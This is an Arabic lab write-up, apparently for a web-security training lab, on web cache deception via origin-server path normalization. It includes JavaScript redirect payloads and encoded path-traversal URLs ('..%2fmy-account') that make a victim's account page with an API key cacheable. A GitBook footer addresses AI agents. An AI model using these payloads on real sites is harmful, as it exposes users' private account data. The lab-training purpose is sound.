> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/web-cache-deception/web-cache-deception-via-origin-server-normalization.md).

# خداع ذاكرة التخزين المؤقت للويب عبر تطبيع جهة الأصل على جانب الخادم

### استغلال تطبيع الخادم الأصلي لخداع ذاكرة التخزين المؤقت على الويب

#### هدف المختبر

استرجع \*\*مفتاح API\*\* من المستخدم **carlos** من خلال إساءة استخدام **ذاكرة التخزين المؤقت** سلوك يُفعَّل بسبب تطبيع عنوان URL بواسطة **الخادم الأصلي**.

#### الوصول

* الاتصال ممكن باستخدام: **wiener:peter**
* يقدّم المختبر قائمةً من الفواصل (قائمة الفواصل)، ولكن الهجوم هنا يعتمد أساسًا على `../` والترميز.

### 1) الملاحظة

* في **`/resources`** الدليل، يوجد نشط **التخزين المؤقت**.
* الفكرة إذن هي تمرير صفحة حساسة (**`/my-account`**) على أنها مورد "قابل للتخزين المؤقت"، باستخدام **مسار اجتياز** سيتم **تطبيعُه** بواسطة الخادم الأصلي.

<figure><img src="/files/dd2b69491d296f4b21866282e0a54444cbc5e12a" alt=""><figcaption></figcaption></figure>

المثال الذي تم اختباره:

```bash
/resources/../my-account
```

<figure><img src="/files/5cb3aafd6ece0510f81d999bc186e3d3d8036c89" alt=""><figcaption></figcaption></figure>

### 2) الاستغلال

#### الفكرة

1. أجبِر الضحية على تحميل عنوان URL يبدأ بـ **`/resources/`** (لتحفيز ذاكرة التخزين المؤقت).
2. العودة إلى **`/my-account`** عبر `../` (أو النسخة المُرمَّزة منه).
3. خزّن الإجابة في ذاكرة التخزين المؤقت تحت مفتاح، ثم استرجع الصفحة المخفية.

{% code overflow="wrap" %}

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/../my-account/?jordan";
</script>
```

{% endcode %}

استنادًا إلى اختباراتك: **لا يعمل ذلك** في هذه الحالة

<figure><img src="/files/d51a285a283edd7c221731c46b5277fceb202db2" alt=""><figcaption></figcaption></figure>

### 3) الالتفاف: ترميز الواجهة الخلفية

أنت تشير إلى أنك بحاجة إلى **ترميز عنوان URL** الفاصل لكي يعمل التطبيع الأصلي بشكل صحيح.

عنوان URL المستخدم:

```bash
/resources/..%2fmy-account?jordan
```

الحمولة النهائية:

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/..%2fmy-account?jordan";
</script>
```

النتيجة: الخادم **يفسّر** عنوان URL كما هو متوقع (التطبيع)، مما يسمح بمواصلة هجوم ذاكرة التخزين المؤقت

<figure><img src="/files/45c07de7a95939e70d345e31ec424d289570cf91" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/web-cache-deception/web-cache-deception-via-origin-server-normalization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
